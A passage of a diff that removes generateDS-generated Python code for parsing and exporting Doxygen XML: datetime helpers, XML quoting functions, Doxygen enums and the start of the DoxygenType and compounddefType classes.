[str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_boolean_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - if value not in (True, 1, False, 0, ): - raise_parse_error( - node, - 'Requires sequence of boolean values ' - '(one of True, 1, False, 0)') - return values - def gds_validate_datetime(self, input_data, node=None, input_name=''): - return input_data - def gds_format_datetime(self, input_data, input_name=''): - if input_data.microsecond == 0: - _svalue = '%04d-%02d-%02dT%02d:%02d:%02d' % ( - input_data.year, - input_data.month, - input_data.day, - input_data.hour, - input_data.minute, - input_data.second, - ) - else: - _svalue = '%04d-%02d-%02dT%02d:%02d:%02d.%s' % ( - input_data.year, - input_data.month, - input_data.day, - input_data.hour, - input_data.minute, - input_data.second, - ('%f' % (float(input_data.microsecond) / 1000000))[2:], - ) - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format(hours, minutes) - return _svalue - @classmethod - def gds_parse_datetime(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - time_parts = input_data.split('.') - if len(time_parts) > 1: - micro_seconds = int(float('0.' + time_parts[1]) * 1000000) - input_data = '%s.%s' % ( - time_parts[0], "{}".format(micro_seconds).rjust(6, "0"), ) - dt = datetime_.datetime.strptime( - input_data, '%Y-%m-%dT%H:%M:%S.%f') - else: - dt = datetime_.datetime.strptime( - input_data, '%Y-%m-%dT%H:%M:%S') - dt = dt.replace(tzinfo=tz) - return dt - def gds_validate_date(self, input_data, node=None, input_name=''): - return input_data - def gds_format_date(self, input_data, input_name=''): - _svalue = '%04d-%02d-%02d' % ( - input_data.year, - input_data.month, - input_data.day, - ) - try: - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format( - hours, minutes) - except AttributeError: - pass - return _svalue - @classmethod - def gds_parse_date(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - dt = datetime_.datetime.strptime(input_data, '%Y-%m-%d') - dt = dt.replace(tzinfo=tz) - return dt.date() - def gds_validate_time(self, input_data, node=None, input_name=''): - return input_data - def gds_format_time(self, input_data, input_name=''): - if input_data.microsecond == 0: - _svalue = '%02d:%02d:%02d' % ( - input_data.hour, - input_data.minute, - input_data.second, - ) - else: - _svalue = '%02d:%02d:%02d.%s' % ( - input_data.hour, - input_data.minute, - input_data.second, - ('%f' % (float(input_data.microsecond) / 1000000))[2:], - ) - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format(hours, minutes) - return _svalue - def gds_validate_simple_patterns(self, patterns, target): - # pat is a list of lists of strings/patterns. - # The target value must match at least one of the patterns - # in order for the test to succeed. - found1 = True - for patterns1 in patterns: - found2 = False - for patterns2 in patterns1: - mo = re_.search(patterns2, target) - if mo is not None and len(mo.group(0)) == len(target): - found2 = True - break - if not found2: - found1 = False - break - return found1 - @classmethod - def gds_parse_time(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - if len(input_data.split('.')) > 1: - dt = datetime_.datetime.strptime(input_data, '%H:%M:%S.%f') - else: - dt = datetime_.datetime.strptime(input_data, '%H:%M:%S') - dt = dt.replace(tzinfo=tz) - return dt.time() - def gds_check_cardinality_( - self, value, input_name, - min_occurs=0, max_occurs=1, required=None): - if value is None: - length = 0 - elif isinstance(value, list): - length = len(value) - else: - length = 1 - if required is not None : - if required and length < 1: - self.gds_collector_.add_message( - "Required value {}{} is missing".format( - input_name, self.gds_get_node_lineno_())) - if length < min_occurs: - self.gds_collector_.add_message( - "Number of values for {}{} is below " - "the minimum allowed, " - "expected at least {}, found {}".format( - input_name, self.gds_get_node_lineno_(), - min_occurs, length)) - elif length > max_occurs: - self.gds_collector_.add_message( - "Number of values for {}{} is above " - "the maximum allowed, " - "expected at most {}, found {}".format( - input_name, self.gds_get_node_lineno_(), - max_occurs, length)) - def gds_validate_builtin_ST_( - self, validator, value, input_name, - min_occurs=None, max_occurs=None, required=None): - if value is not None: - try: - validator(value, input_name=input_name) - except GDSParseError as parse_error: - self.gds_collector_.add_message(str(parse_error)) - def gds_validate_defined_ST_( - self, validator, value, input_name, - min_occurs=None, max_occurs=None, required=None): - if value is not None: - try: - validator(value) - except GDSParseError as parse_error: - self.gds_collector_.add_message(str(parse_error)) - def gds_str_lower(self, instring): - return instring.lower() - def get_path_(self, node): - path_list = [] - self.get_path_list_(node, path_list) - path_list.reverse() - path = '/'.join(path_list) - return path - Tag_strip_pattern_ = re_.compile(r'\{.*\}') - def get_path_list_(self, node, path_list): - if node is None: - return - tag = GeneratedsSuper.Tag_strip_pattern_.sub('', node.tag) - if tag: - path_list.append(tag) - self.get_path_list_(node.getparent(), path_list) - def get_class_obj_(self, node, default_class=None): - class_obj1 = default_class - if 'xsi' in node.nsmap: - classname = node.get('{%s}type' % node.nsmap['xsi']) - if classname is not None: - names = classname.split(':') - if len(names) == 2: - classname = names[1] - class_obj2 = globals().get(classname) - if class_obj2 is not None: - class_obj1 = class_obj2 - return class_obj1 - def gds_build_any(self, node, type_name=None): - # provide default value in case option --disable-xml is used. - content = "" - content = etree_.tostring(node, encoding="unicode") - return content - @classmethod - def gds_reverse_node_mapping(cls, mapping): - return dict(((v, k) for k, v in mapping.items())) - @staticmethod - def gds_encode(instring): - if sys.version_info.major == 2: - if ExternalEncoding: - encoding = ExternalEncoding - else: - encoding = 'utf-8' - return instring.encode(encoding) - else: - return instring - @staticmethod - def convert_unicode(instring): - if isinstance(instring, str): - result = quote_xml(instring) - elif sys.version_info.major == 2 and isinstance(instring, unicode): - result = quote_xml(instring).encode('utf8') - else: - result = GeneratedsSuper.gds_encode(str(instring)) - return result - def __eq__(self, other): - def excl_select_objs_(obj): - return (obj[0] != 'parent_object_' and - obj[0] != 'gds_collector_') - if type(self) != type(other): - return False - return all(x == y for x, y in zip_longest( - filter(excl_select_objs_, self.__dict__.items()), - filter(excl_select_objs_, other.__dict__.items()))) - def __ne__(self, other): - return not self.__eq__(other) - # Django ETL transform hooks. - def gds_djo_etl_transform(self): - pass - def gds_djo_etl_transform_db_obj(self, dbobj): - pass - # SQLAlchemy ETL transform hooks. - def gds_sqa_etl_transform(self): - return 0, None - def gds_sqa_etl_transform_db_obj(self, dbobj): - pass - def gds_get_node_lineno_(self): - if (hasattr(self, "gds_elementtree_node_") and - self.gds_elementtree_node_ is not None): - return ' near line {}'.format( - self.gds_elementtree_node_.sourceline) - else: - return "" - - - def getSubclassFromModule_(module, class_): - '''Get the subclass of a class from a specific module.''' - name = class_.__name__ + 'Sub' - if hasattr(module, name): - return getattr(module, name) - else: - return None - - -# -# If you have installed IPython you can uncomment and use the following. -# IPython is available from http://ipython.scipy.org/. -# - -# # from IPython.Shell import IPShellEmbed -# # args = '' -# # ipshell = IPShellEmbed(args, -# # banner = 'Dropping into IPython', -# # exit_msg = 'Leaving Interpreter, back to program.') - -# Then use the following line where and when you want to drop into the -# IPython shell: -# ipshell(' -- Entering ipshell.\nHit Ctrl-D to exit') - -# -# Globals -# - -ExternalEncoding = '' -# Set this to false in order to deactivate during export, the use of -# name space prefixes captured from the input document. -UseCapturedNS_ = True -CapturedNsmap_ = {} -Tag_pattern_ = re_.compile(r'({.*})?(.*)') -String_cleanup_pat_ = re_.compile(r"[\n\r\s]+") -Namespace_extract_pat_ = re_.compile(r'{(.*)}(.*)') -CDATA_pattern_ = re_.compile(r"", re_.DOTALL) - -# Change this to redirect the generated superclass module to use a -# specific subclass module. -CurrentSubclassModule_ = None - -# -# Support/utility functions. -# - - -def showIndent(outfile, level, pretty_print=True): - if pretty_print: - for idx in range(level): - outfile.write(' ') - - -def quote_xml(inStr): - "Escape markup chars, but do not modify CDATA sections." - if not inStr: - return '' - s1 = (isinstance(inStr, BaseStrType_) and inStr or '%s' % inStr) - s2 = '' - pos = 0 - matchobjects = CDATA_pattern_.finditer(s1) - for mo in matchobjects: - s3 = s1[pos:mo.start()] - s2 += quote_xml_aux(s3) - s2 += s1[mo.start():mo.end()] - pos = mo.end() - s3 = s1[pos:] - s2 += quote_xml_aux(s3) - return s2 - - -def quote_xml_aux(inStr): - s1 = inStr.replace('&', '&') - s1 = s1.replace('<', '<') - s1 = s1.replace('>', '>') - return s1 - - -def quote_attrib(inStr): - s1 = (isinstance(inStr, BaseStrType_) and inStr or '%s' % inStr) - s1 = s1.replace('&', '&') - s1 = s1.replace('<', '<') - s1 = s1.replace('>', '>') - if '"' in s1: - if "'" in s1: - s1 = '"%s"' % s1.replace('"', """) - else: - s1 = "'%s'" % s1 - else: - s1 = '"%s"' % s1 - return s1 - - -def quote_python(inStr): - s1 = inStr - if s1.find("'") == -1: - if s1.find('\n') == -1: - return "'%s'" % s1 - else: - return "'''%s'''" % s1 - else: - if s1.find('"') != -1: - s1 = s1.replace('"', '\\"') - if s1.find('\n') == -1: - return '"%s"' % s1 - else: - return '"""%s"""' % s1 - - -def get_all_text_(node): - if node.text is not None: - text = node.text - else: - text = '' - for child in node: - if child.tail is not None: - text += child.tail - return text - - -def find_attr_value_(attr_name, node): - attrs = node.attrib - attr_parts = attr_name.split(':') - value = None - if len(attr_parts) == 1: - value = attrs.get(attr_name) - elif len(attr_parts) == 2: - prefix, name = attr_parts - if prefix == 'xml': - namespace = 'http://www.w3.org/XML/1998/namespace' - else: - namespace = node.nsmap.get(prefix) - if namespace is not None: - value = attrs.get('{%s}%s' % (namespace, name, )) - return value - - -def encode_str_2_3(instr): - return instr - - -class GDSParseError(Exception): - pass - - -def raise_parse_error(node, msg): - if node is not None: - msg = '%s (element %s/line %d)' % (msg, node.tag, node.sourceline, ) - raise GDSParseError(msg) - - -class MixedContainer: - # Constants for category: - CategoryNone = 0 - CategoryText = 1 - CategorySimple = 2 - CategoryComplex = 3 - # Constants for content_type: - TypeNone = 0 - TypeText = 1 - TypeString = 2 - TypeInteger = 3 - TypeFloat = 4 - TypeDecimal = 5 - TypeDouble = 6 - TypeBoolean = 7 - TypeBase64 = 8 - def __init__(self, category, content_type, name, value): - self.category = category - self.content_type = content_type - self.name = name - self.value = value - def getCategory(self): - return self.category - def getContenttype(self, content_type): - return self.content_type - def getValue(self): - return self.value - def getName(self): - return self.name - def export(self, outfile, level, name, namespace, - pretty_print=True): - if self.category == MixedContainer.CategoryText: - # Prevent exporting empty content as empty lines. - if self.value.strip(): - outfile.write(self.value) - elif self.category == MixedContainer.CategorySimple: - self.exportSimple(outfile, level, name) - else: # category == MixedContainer.CategoryComplex - self.value.export( - outfile, level, namespace, name_=name, - pretty_print=pretty_print) - def exportSimple(self, outfile, level, name): - if self.content_type == MixedContainer.TypeString: - outfile.write('<%s>%s' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeInteger or \ - self.content_type == MixedContainer.TypeBoolean: - outfile.write('<%s>%d' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeFloat or \ - self.content_type == MixedContainer.TypeDecimal: - outfile.write('<%s>%f' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeDouble: - outfile.write('<%s>%g' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeBase64: - outfile.write('<%s>%s' % ( - self.name, - base64.b64encode(self.value), - self.name)) - def to_etree(self, element, mapping_=None, nsmap_=None): - if self.category == MixedContainer.CategoryText: - # Prevent exporting empty content as empty lines. - if self.value.strip(): - if len(element) > 0: - if element[-1].tail is None: - element[-1].tail = self.value - else: - element[-1].tail += self.value - else: - if element.text is None: - element.text = self.value - else: - element.text += self.value - elif self.category == MixedContainer.CategorySimple: - subelement = etree_.SubElement( - element, '%s' % self.name) - subelement.text = self.to_etree_simple() - else: # category == MixedContainer.CategoryComplex - self.value.to_etree(element) - def to_etree_simple(self, mapping_=None, nsmap_=None): - if self.content_type == MixedContainer.TypeString: - text = self.value - elif (self.content_type == MixedContainer.TypeInteger or - self.content_type == MixedContainer.TypeBoolean): - text = '%d' % self.value - elif (self.content_type == MixedContainer.TypeFloat or - self.content_type == MixedContainer.TypeDecimal): - text = '%f' % self.value - elif self.content_type == MixedContainer.TypeDouble: - text = '%g' % self.value - elif self.content_type == MixedContainer.TypeBase64: - text = '%s' % base64.b64encode(self.value) - return text - def exportLiteral(self, outfile, level, name): - if self.category == MixedContainer.CategoryText: - showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s", "%s"),\n' % ( - self.category, self.content_type, - self.name, self.value)) - elif self.category == MixedContainer.CategorySimple: - showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s", "%s"),\n' % ( - self.category, self.content_type, - self.name, self.value)) - else: # category == MixedContainer.CategoryComplex - showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s",\n' % ( - self.category, self.content_type, self.name,)) - self.value.exportLiteral(outfile, level + 1) - showIndent(outfile, level) - outfile.write(')\n') - - -class MemberSpec_(object): - def __init__(self, name='', data_type='', container=0, - optional=0, child_attrs=None, choice=None): - self.name = name - self.data_type = data_type - self.container = container - self.child_attrs = child_attrs - self.choice = choice - self.optional = optional - def set_name(self, name): self.name = name - def get_name(self): return self.name - def set_data_type(self, data_type): self.data_type = data_type - def get_data_type_chain(self): return self.data_type - def get_data_type(self): - if isinstance(self.data_type, list): - if len(self.data_type) > 0: - return self.data_type[-1] - else: - return 'xs:string' - else: - return self.data_type - def set_container(self, container): self.container = container - def get_container(self): return self.container - def set_child_attrs(self, child_attrs): self.child_attrs = child_attrs - def get_child_attrs(self): return self.child_attrs - def set_choice(self, choice): self.choice = choice - def get_choice(self): return self.choice - def set_optional(self, optional): self.optional = optional - def get_optional(self): return self.optional - - -def _cast(typ, value): - if typ is None or value is None: - return value - return typ(value) - -# -# Data representation classes. -# - - -class DoxAccessor(str, Enum): - RETAIN='retain' - COPY='copy' - ASSIGN='assign' - WEAK='weak' - STRONG='strong' - UNRETAINED='unretained' - - -class DoxAlign(str, Enum): - LEFT='left' - RIGHT='right' - CENTER='center' - - -class DoxBool(str, Enum): - YES='yes' - NO='no' - - -class DoxCompoundKind(str, Enum): - CLASS='class' - STRUCT='struct' - UNION='union' - INTERFACE='interface' - PROTOCOL='protocol' - CATEGORY='category' - EXCEPTION='exception' - SERVICE='service' - SINGLETON='singleton' - MODULE='module' - TYPE='type' - FILE='file' - NAMESPACE='namespace' - GROUP='group' - PAGE='page' - EXAMPLE='example' - DIR='dir' - CONCEPT='concept' - - -class DoxGraphRelation(str, Enum): - INCLUDE='include' - USAGE='usage' - TEMPLATEINSTANCE='template-instance' - PUBLICINHERITANCE='public-inheritance' - PROTECTEDINHERITANCE='protected-inheritance' - PRIVATEINHERITANCE='private-inheritance' - TYPECONSTRAINT='type-constraint' - - -class DoxHighlightClass(str, Enum): - COMMENT='comment' - NORMAL='normal' - PREPROCESSOR='preprocessor' - KEYWORD='keyword' - KEYWORDTYPE='keywordtype' - KEYWORDFLOW='keywordflow' - STRINGLITERAL='stringliteral' - XMLCDATA='xmlcdata' - CHARLITERAL='charliteral' - VHDLKEYWORD='vhdlkeyword' - VHDLLOGIC='vhdllogic' - VHDLCHAR='vhdlchar' - VHDLDIGIT='vhdldigit' - - -class DoxImageKind(str, Enum): - HTML='html' - LATEX='latex' - DOCBOOK='docbook' - RTF='rtf' - XML='xml' - - -class DoxLanguage(str, Enum): - UNKNOWN='Unknown' - IDL='IDL' - JAVA='Java' - C='C#' - D='D' - PHP='PHP' - OBJECTIVEC='Objective-C' - C_1='C++' - JAVA_SCRIPT='JavaScript' - PYTHON='Python' - FORTRAN='Fortran' - VHDL='VHDL' - XML='XML' - SQL='SQL' - MARKDOWN='Markdown' - SLICE='Slice' - LEX='Lex' - - -class DoxMemberKind(str, Enum): - DEFINE='define' - PROPERTY='property' - EVENT='event' - VARIABLE='variable' - TYPEDEF='typedef' - ENUM='enum' - FUNCTION='function' - SIGNAL='signal' - PROTOTYPE='prototype' - FRIEND='friend' - DCOP='dcop' - SLOT='slot' - INTERFACE='interface' - SERVICE='service' - - -class DoxOlType(str, Enum): - _1='1' - A='a' - A_1='A' - I='i' - I_1='I' - - -class DoxParamDir(str, Enum): - IN='in' - OUT='out' - INOUT='inout' - - -class DoxParamListKind(str, Enum): - PARAM='param' - RETVAL='retval' - EXCEPTION='exception' - TEMPLATEPARAM='templateparam' - - -class DoxPlantumlEngine(str, Enum): - UML='uml' - BPM='bpm' - WIRE='wire' - DOT='dot' - DITAA='ditaa' - SALT='salt' - MATH='math' - LATEX='latex' - GANTT='gantt' - MINDMAP='mindmap' - WBS='wbs' - YAML='yaml' - CREOLE='creole' - JSON='json' - FLOW='flow' - BOARD='board' - GIT='git' - HCL='hcl' - REGEX='regex' - EBNF='ebnf' - - -class DoxProtectionKind(str, Enum): - PUBLIC='public' - PROTECTED='protected' - PRIVATE='private' - PACKAGE='package' - - -class DoxRefKind(str, Enum): - COMPOUND='compound' - MEMBER='member' - - -class DoxRefQualifierKind(str, Enum): - LVALUE='lvalue' - RVALUE='rvalue' - - -class DoxSectionKind(str, Enum): - USERDEFINED='user-defined' - PUBLICTYPE='public-type' - PUBLICFUNC='public-func' - PUBLICATTRIB='public-attrib' - PUBLICSLOT='public-slot' - SIGNAL='signal' - DCOPFUNC='dcop-func' - PROPERTY='property' - EVENT='event' - PUBLICSTATICFUNC='public-static-func' - PUBLICSTATICATTRIB='public-static-attrib' - PROTECTEDTYPE='protected-type' - PROTECTEDFUNC='protected-func' - PROTECTEDATTRIB='protected-attrib' - PROTECTEDSLOT='protected-slot' - PROTECTEDSTATICFUNC='protected-static-func' - PROTECTEDSTATICATTRIB='protected-static-attrib' - PACKAGETYPE='package-type' - PACKAGEFUNC='package-func' - PACKAGEATTRIB='package-attrib' - PACKAGESTATICFUNC='package-static-func' - PACKAGESTATICATTRIB='package-static-attrib' - PRIVATETYPE='private-type' - PRIVATEFUNC='private-func' - PRIVATEATTRIB='private-attrib' - PRIVATESLOT='private-slot' - PRIVATESTATICFUNC='private-static-func' - PRIVATESTATICATTRIB='private-static-attrib' - FRIEND='friend' - RELATED='related' - DEFINE='define' - PROTOTYPE='prototype' - TYPEDEF='typedef' - ENUM='enum' - FUNC='func' - VAR='var' - - -class DoxSimpleSectKind(str, Enum): - SEE='see' - RETURN='return' - AUTHOR='author' - AUTHORS='authors' - VERSION='version' - SINCE='since' - DATE='date' - NOTE='note' - WARNING='warning' - PRE='pre' - POST='post' - COPYRIGHT='copyright' - INVARIANT='invariant' - REMARK='remark' - ATTENTION='attention' - PAR='par' - RCS='rcs' - - -class DoxVerticalAlign(str, Enum): - BOTTOM='bottom' - TOP='top' - MIDDLE='middle' - - -class DoxVirtualKind(str, Enum): - NONVIRTUAL='non-virtual' - VIRTUAL='virtual' - PUREVIRTUAL='pure-virtual' - - -class MemberKind(str, Enum): - DEFINE='define' - PROPERTY='property' - EVENT='event' - VARIABLE='variable' - TYPEDEF='typedef' - ENUM='enum' - ENUMVALUE='enumvalue' - FUNCTION='function' - SIGNAL='signal' - PROTOTYPE='prototype' - FRIEND='friend' - DCOP='dcop' - SLOT='slot' - - -class DoxygenType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, version=None, lang=None, compounddef=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.version = _cast(None, version) - self.version_nsprefix_ = None - self.lang = _cast(None, lang) - self.lang_nsprefix_ = None - if compounddef is None: - self.compounddef = [] - else: - self.compounddef = compounddef - self.compounddef_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, DoxygenType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if DoxygenType.subclass: - return DoxygenType.subclass(*args_, **kwargs_) - else: - return DoxygenType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_compounddef(self): - return self.compounddef - def set_compounddef(self, compounddef): - self.compounddef = compounddef - def add_compounddef(self, value): - self.compounddef.append(value) - def insert_compounddef_at(self, index, value): - self.compounddef.insert(index, value) - def replace_compounddef_at(self, index, value): - self.compounddef[index] = value - def get_version(self): - return self.version - def set_version(self, version): - self.version = version - def get_lang(self): - return self.lang - def set_lang(self, lang): - self.lang = lang - def validate_DoxVersionNumber(self, value): - # Validate type DoxVersionNumber, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - if not self.gds_validate_simple_patterns( - self.validate_DoxVersionNumber_patterns_, value): - self.gds_collector_.add_message('Value "%s" does not match xsd pattern restrictions: %s' % (encode_str_2_3(value), self.validate_DoxVersionNumber_patterns_, )) - validate_DoxVersionNumber_patterns_ = [['^(\\d+\\.\\d+.*)$']] - def hasContent_(self): - if ( - self.compounddef - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='DoxygenType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('DoxygenType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'DoxygenType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='DoxygenType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='DoxygenType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='DoxygenType'): - if self.version is not None and 'version' not in already_processed: - already_processed.add('version') - outfile.write(' version=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.version), input_name='version')), )) - if self.lang is not None and 'lang' not in already_processed: - already_processed.add('lang') - outfile.write(' xml:lang=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.lang), input_name='lang')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='DoxygenType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for compounddef_ in self.compounddef: - namespaceprefix_ = self.compounddef_nsprefix_ + ':' if (UseCapturedNS_ and self.compounddef_nsprefix_) else '' - compounddef_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='compounddef', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('version', node) - if value is not None and 'version' not in already_processed: - already_processed.add('version') - self.version = value - self.validate_DoxVersionNumber(self.version) # validate type DoxVersionNumber - value = find_attr_value_('lang', node) - if value is not None and 'lang' not in already_processed: - already_processed.add('lang') - self.lang = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'compounddef': - obj_ = compounddefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.compounddef.append(obj_) - obj_.original_tagname_ = 'compounddef' -# end class DoxygenType - - -class compounddefType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, kind=None, language=None, prot=None, final=None, inline=None, sealed=None, abstract=None, compoundname=None, title=None, basecompoundref=None, derivedcompoundref=None, includes=None, includedby=None, incdepgraph=None, invincdepgraph=None, innerdir=None, innerfile=None, innerclass=None, innerconcept=None, innernamespace=None, innerpage=None, innergroup=None, qualifier=None, templateparamlist=None, sectiondef=None, tableofcontents=None, requiresclause=None, initializer=None, briefdescription=None, detaileddescription=None, inheritancegraph=None, collaborationgraph=None, programlisting=None, location=None, listofallmembers=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.language = _cast(None, language) - self.language_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.final = _cast(None, final) - self.final_nsprefix_ = None - self.inline = _cast(None, inline) - self.inline_nsprefix_ = None - self.sealed = _cast(None, sealed) - self.sealed_nsprefix_ = None - self.abstract = _cast(None, abstract) - self.abstract_nsprefix_ = None - self.compoundname = compoundname - self.compoundname_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if basecompoundref is None: - self.basecompoundref = [] - else: - self.basecompoundref = basecompoundref - self.basecompoundref_nsprefix_ = None - if derivedcompoundref is None: - self.derivedcompoundref = [] - else: - self.derivedcompoundref = derivedcompoundref - self.derivedcompoundref_nsprefix_ = None - if includes is None: - self.includes = [] - else: - self.includes = includes - self.includes_nsprefix_ = None - if includedby is None: - self.includedby = [] - else: - self.includedby = includedby - self.includedby_nsprefix_ = None - self.incdepgraph = incdepgraph - self.incdepgraph_nsprefix_ = None - self.invincdepgraph = invincdepgraph - self.invincdepgraph_nsprefix_ = None - if innerdir is None: - self.innerdir = [] - else: - self.innerdir = innerdir - self.innerdir_nsprefix_ = None - if innerfile is None: - self.innerfile = [] - else: - self.innerfile = innerfile - self.innerfile_nsprefix_ = None - if innerclass is None: - self.innerclass = [] - else: - self.innerclass = innerclass - self.innerclass_nsprefix_ = None - if innerconcept is None: - self.innerconcept = [] - else: - self.innerconcept = innerconcept - self.innerconcept_nsprefix_ = None - if innernamespace is None: - self.innernamespace = [] - else: - self.innernamespace = innernamespace - self.innernamespace_nsprefix_ = None - if innerpage is None: - self.innerpage = [] - else: - self.innerpage = innerpage - self.innerpage_nsprefix_ = None - if innergroup is None: - self.innergroup = [] - else: - self.innergroup = innergroup - self.innergroup_nsprefix_ = None - if qualifier is None: - self.qualifier = [] - else: - self.qualifier = qualifier - self.qualifier_nsprefix_ = None - self.templateparamlist = templateparamlist - self.templateparamlist_nsprefix_ = None - if sectiondef is None: - self.sectiondef = [] - else: - self.sectiondef = sectiondef - self.sectiondef_nsprefix_ = None - self.tableofcontents = tableofcontents - self.tableofcontents_nsprefix_ = None - self.requiresclause = requiresclause - self.requiresclause_nsprefix_ = None - self.initializer = initializer - self.initializer_nsprefix_ = None - self.briefdescription = briefdescription - self.briefdescription_nsprefix_ = None - self.detaileddescription = detaileddescription - self.detaileddescription_nsprefix_ = None - self.inheritancegraph = inheritancegraph - self.inheritancegraph_nsprefix_ = None - self.collaborationgraph = collaborationgraph - self.collaborationgraph_nsprefix_ = None - self.programlisting = programlisting - self.programlisting_nsprefix_ = None - self.location = location - 